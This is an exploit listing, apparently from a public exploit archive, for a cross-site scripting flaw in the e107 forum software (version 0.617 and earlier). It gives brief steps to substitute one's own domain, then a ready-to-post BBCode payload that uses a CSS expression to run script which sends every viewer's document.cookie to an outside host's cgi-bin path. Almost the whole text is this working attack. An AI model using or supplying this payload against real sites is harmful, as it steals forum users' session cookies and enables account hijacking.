e107 <= 0.617 XSS Remote Cookie Disclosure Exploit

2005-07-14 00:00:00

/*
1) Change milw0rm.com to your domain.com
2) Post the below code into a new message.

Credits to Nick Griffin.

/str0ke
*/

[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


#

Fixes

No fixes

In order to submit a new fix you need to be registered.